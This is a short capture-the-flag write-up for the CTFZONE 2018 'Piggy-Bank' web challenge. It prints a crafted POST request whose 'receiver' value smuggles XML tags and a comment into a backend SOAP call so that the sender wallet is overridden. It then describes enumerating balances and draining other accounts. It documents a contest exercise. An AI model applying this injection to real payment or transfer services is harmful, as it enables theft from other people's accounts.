Description

Piggy-Bank CTFZONE 2018 Web Challenge [100]

Hack some bank for me.

http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/

This is just a quick and dirty writeup.

First, we created an account, logged in and looked for interesting stuff. There was a VIP Section: “This section is available only to privileged pigs with money in pockets. Transfer to the piggy-bank 1 000 000 coins and become important.” So we assumed this is what we had to do. For that we needed more money, so we assumed that there was a bug in the transfer page.

index

Then we found that under home/for_developers.php a WSDL file was leaked in an HTML comment. We imported the WSDL into burp using the Wsdler extension and played around with the two SOAPActions.

The first one urn:requestBalanceAction would give the balance of any account and the second one SOAPAction: urn:internalTransferAction allowed you to send transactions from one account to another.

1
2
3
4
<receiver_wallet_num xsi:type="xsd:decimal">1000</receiver_wallet_num>
<sender_wallet_num xsi:type="xsd:decimal">1000</sender_wallet_num>
<amount xsi:type="xsd:float">1000</amount>
<token xsi:type="xsd:string">unknown</token>

As the token was unknown, we were not able to use this service. But as it turned out, the transfer page was using this service in the background.

Solution

We were able to inject sender_wallet_num by crafting a transfer POST-Request like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /home/transfer.php HTTP/1.1
Host: web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one
Content-Length: 143
Cache-Control: max-age=0
Origin: http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent:
Referer: http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/home/transfer.php
Accept-Language: en-US,en;q=0.9,de;q=0.8
Cookie: PHPSESSID=ll1fd84gj3kskif06lp0te54j0
Connection: close

receiver=1852</receiver_wallet_num><sender_wallet_num xsi:type="xsd:decimal">1</sender_wallet_num><amount xsi:type="xsd:float"><!--&amount=-->1000

This would result in this valid XML on the server-side:

1
2
3
4
5
6
<receiver_wallet_num xsi:type="xsd:decimal">1852</receiver_wallet_num>
<sender_wallet_num xsi:type="xsd:decimal">1</sender_wallet_num>
<amount xsi:type="xsd:float"><!--</receiver_wallet_num>
<sender_wallet_num xsi:type="xsd:decimal">1000</sender_wallet_num>
<amount xsi:type="xsd:float">-->1000</amount>
<token xsi:type="xsd:string">unknown</token>

Next, we had to find an account with a lot of money so we used the urn:requestBalanceAction to iterate over the user-IDs. We found a few that had over 1000000, so we transferred it all to our account and then to the piggy bank with id 1338. After that, we collected that flag from the VIP area. 😊